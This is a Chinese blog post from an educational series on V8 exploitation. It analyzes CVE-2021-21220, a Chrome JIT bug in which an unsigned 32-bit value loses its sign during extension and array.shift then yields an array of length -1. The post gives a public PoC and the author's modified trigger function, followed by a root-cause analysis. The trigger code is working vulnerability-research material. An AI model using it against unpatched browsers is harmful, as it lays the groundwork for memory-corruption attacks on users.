从0开始学V8漏洞利用之CVE-2021-21220(八)

复现CVE-2021-21220

第六个研究的是CVE-2021-21220,其chrome的bug编号为:1196683

可以很容易找到其相关信息:

受影响的Chrome最高版本为:89.0.4389.114
受影响的V8最高版本为:8.9.255.24

并且还附带了exp

搭建环境

一键编译相关环境:

1
$ ./build.sh 8.9.255.24

漏洞分析

因为通过之前的文章,已经对模板套路很熟悉了,所以在之后的文章中,将不会过多讲诉套模板编写exp,而会让重点放在一些之前文章中没有的点上,更着重在漏洞利用技巧这块。

该漏洞的PoC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const _arr = new Uint32Array([2**31]);

function foo(a) {
var x = 1;
x = (_arr[0] ^ 0) + 1;

x = Math.abs(x);
x -= 2147483647;
x = Math.max(x, 0);

x -= 1;
if(x==-1) x = 0;

var arr = new Array(x);
arr.shift();
var cor = [1.1, 1.2, 1.3];

return [arr, cor];
}

上述PoC来源于:https://github.com/security-dbg/CVE-2021-21220/blob/main/exploit.js

因为我认为这个PoC更利于理解该漏洞。

根据我的理解,我做了如下修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var b = new Uint32Array([0x80000000]);
var trigger_array = [];
function trigger() {
var x = 1;
x = (b[0] ^ 0) + 1; // 0x80000000 + 1
x = Math.abs(x); // 0x80000001 0x7fffffff
x -= 0x7fffffff; // 2 0
x = Math.max(x, 0); // 2 0

x -= 1; // 1 -1
if(x==-1) x = 0; // 1 0
trigger_array = new Array(x); // 1 0
trigger_array.shift();

var da = [1.1, 2.2];
var ob = [{a: 1,b: 2}];
return [da, ob];
}

在正常情况下,该函数的逻辑:

  1. b[0]为uint32类型的变量,其值为0x80000000。
  2. 异或了0以后,变成了int32类型,其值为-2147483648。
  3. 加上1以后,变成了-2147483647,赋值给了x。但是类型会被扩展成int64,因为js的变量是弱类型,如果x一开始的类型是int32,值为2147483647(0x7fffffff),那么x+1不会变成-1,而会变成。2147483648(0x80000000),因为int32被扩展成了int64。
  4. 然后使用math.abs函数计算绝对值,x值变为2147483647(0x7fffffff)。
  5. x - 0x7FFFFFFF = 0。
  6. 使用math.max函数计算x与0之间的最大值,为0。
  7. x - 1 = -1。
  8. 因为x=-1,所以x改为0。
  9. 新建了一个长度为0的数组。
  10. 因为长度为0,所以shitf无效,数组不变。

但是上述逻辑,经过JIT优化以后,就不一样了:

  1. b[0]为uint32类型的变量,其值为0x80000000。
  2. 将其转化成int64类型,其值为0x80000000。
  3. 加上1以后,变成了0x80000001。
  4. 然后使用math.abs函数计算绝对值,x值变为0x80000001。
  5. x - 0x7FFFFFFF = 2。
  6. 使用math.max函数计算x与0之间的最大值,为2。
  7. x - 1 = 1。
  8. 新建了一个长度为1的数组。
  9. shitf函数将数组的长度设置为-1,这就让我们得到了长度为-1的数组,通过该数据进行后续利用。

在JIT的优化过程中,存在两个问题:

  1. 将b[0]转化为int64,把符号去掉了,从Turbo流程图看,是通过ChangeInt32ToInt64来改变b[0]的变量类型,而在这个opcode实现的代码中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void InstructionSelector::VisitChangeInt32ToInt64(Node* node) {
......
switch (rep) {
case MachineRepresentation::kBit: // Fall through.
case MachineRepresentation::kWord8:
opcode = load_rep.IsSigned() ? kX64Movsxbq : kX64Movzxbq;
break;
case MachineRepresentation::kWord16:
opcode = load_rep.IsSigned() ? kX64Movsxwq : kX64Movzxwq;
break;
case MachineRepresentation::kWord32:
opcode = load_rep.IsSigned() ? kX64Movsxlq : kX64Movl;
break;
default:
UNREACHABLE();
return;
}
......

根据上面代码可以看出,如果b[0]是有符号的,那么将会使用kX64Movsxlq指令进行转换,如果是无符号的就会使用kX64Movl指令进行转换。

b[0]因为是一个uint32类型的变量,所以使用movl进行扩展大小,所以没有扩展其符号,导致出现了问题。

  1. shitf函数将数组长度设置为-1。

shift函数的正常逻辑是,判断数组的长度,如果其长度大于0,并且小于100,那么将会对长度的赋值进行优化,预测其长度,然后进行减1操作,直接写入数组的长度。

在JIT的预测当中,x的值为0,因为其预测是按照没有bug的情况进行预测的,但是实际情况x为1,这就导致实际情况的x通过了shitf的长度检查,然后却把x认为是0,从而-1,把数组的长度设置为了-1。

总结

该漏洞的成因还是挺容易理解的,这研究其原理的过程中也要学会看Turbo,后续将为专门看Turbo的opcode写一篇paper。

从0开始学V8漏洞利用之CVE-2021-21220(八)

https://nobb.site/2022/02/21/0x73/

Author

Hcamael

Posted on

2022-02-21

Updated on

2022-02-23

Licensed under